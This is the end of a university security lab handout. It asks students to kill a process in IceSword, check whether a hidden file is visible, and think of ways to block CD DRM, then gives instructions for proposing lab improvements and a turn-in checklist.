18.7. Right click on the process in IceSword and select Terminate Process. What happens?
18.8. Can you see the file you created?
18.9. One way of prevention is putting a piece of opaque (to infrared) tape or some other
light blocker on the portion of the CD where the DRM is located. Can you think of another
way to prevent this?
General Questions
How long did it take you to complete this lab? Was it an appropriate length lab?
113
What corrections and or improvements do you suggest for this lab? Please be very specific and
if you add new material give the exact wording and instructions you would give to future
students in the new lab handout. You may cross out and edit the text of the lab on previous pages
to make minor corrections/suggestions. General suggestions like add tool xyz to do more capable
scanning will not be awarded extras points even if the statement is totally true. Specific text that
could be cut and pasted into this lab, completed exercises, and completed solutions may be
awarded additional credit. Thus if tool xyx adds a capability or additional or better learning
experience for future students here is what you need to do. You should add that tool to the lab
by writing new detailed lab instructions on where to get the tool, how to install it, how to run it,
what exactly to do with it in our lab, example outputs, etc. You must prove with what you turn in
that you actually did the lab improvement yourself. Screen shots and output hardcopy are a good
way to demonstrate that you actually completed your suggested enhancements. The lab addition
section must start with the title “Lab Addition”, your addition subject title, and must start with a
paragraph explaining at a high level what new concept may be learned by adding this to the
existing laboratory assignment. After this introductory paragraph, add the details of your lab
addition. Include the lab addition cover sheet from the class web site.
Turn-in Checklist
Answer Sheet with answers.
Screenshots
Summary of login differences
False alarm rkhunter log
Any additions for the lab.
114